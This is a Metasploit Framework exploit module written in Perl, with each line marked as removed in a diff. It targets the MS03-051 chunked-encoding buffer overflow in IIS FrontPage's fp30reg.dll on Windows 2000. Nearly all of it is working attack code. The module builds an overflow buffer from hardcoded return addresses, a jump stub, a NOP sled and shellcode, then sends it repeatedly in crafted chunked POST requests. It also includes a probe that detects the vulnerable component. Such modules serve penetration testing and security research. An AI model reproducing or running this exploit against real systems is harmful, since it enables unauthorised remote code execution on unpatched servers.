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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis_fp30reg_chunked;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS FrontPage fp30reg.dll Chunked Overflow',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00+&=%\x0a\x0d\x20",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This is an exploit for the chunked encoding buffer overflow
- described in MS03-051 and originally reported by Brett
- Moore. This particular modules works against versions of
- Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
- issue.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '2952'],
- ['MSB', 'MS03-051'],
- ['MIL', '29'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Windows 2000 SP0-SP3', 0x6c38a4d0], # from mfc42.dll
- ['Windows 2000 07/22/02', 0x67d44eb1], # from fp30reg.dll 07/22/2002
- ['Windows 2000 10/06/99', 0x67d4665d], # from fp30reg.dll 10/06/1999
- ],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'Nov 11 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
-
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my @targets;
- my @offsets;
- my $pad;
-
- my $ret = defined($target_idx) ? ($self->Targets->[ $target_idx ]->[1]) : $self->Targets->[0]->[1];
- my $pattern = Pex::Text::PatternCreate(0xDEAD);
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $count = 0;
- while (1)
- {
- if ($count % 3 == 0)
- {
- $self->PrintLine("[*] Refreshing remote process...");
- my $res = $self->Check();
- $count = 0;
- }
-
- substr($pattern, 128, 4, pack("V", $ret));
- substr($pattern, 264, 4, pack("V", $ret));
- substr($pattern, 160, 7, "\x2d\xff\xfe\xff\xff" . "\xff\xe0");
- substr($pattern, 280, 512, $self->MakeNops(512));
- substr($pattern, 792, length($shellcode), $shellcode);
-
- my $request;
- $request = "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
- $request .= "Host: $target_host:$target_port\r\n";
- $request .= "Transfer-Encoding: chunked\r\n";
- $request .= "\r\n";
- $request .= "DEAD\r\n";
- $request .= $pattern . "\r\n";
- $request .= "0\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending exploit request...");
- $s->Send($request);
- sleep(1);
- $s->Close();
- $count++;
- }
- return;
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $getreq = "GET /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send($getreq);
- my $res = $s->Recv(-1, 10);
- $s->Close();
-
- if ($res !~ /501 Not Implemented/)
- {
- $self->PrintLine("[*] Frontpage component was not found");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Frontpage component found");
- return $self->CheckCode('Detected');
- }
-
- 1;
-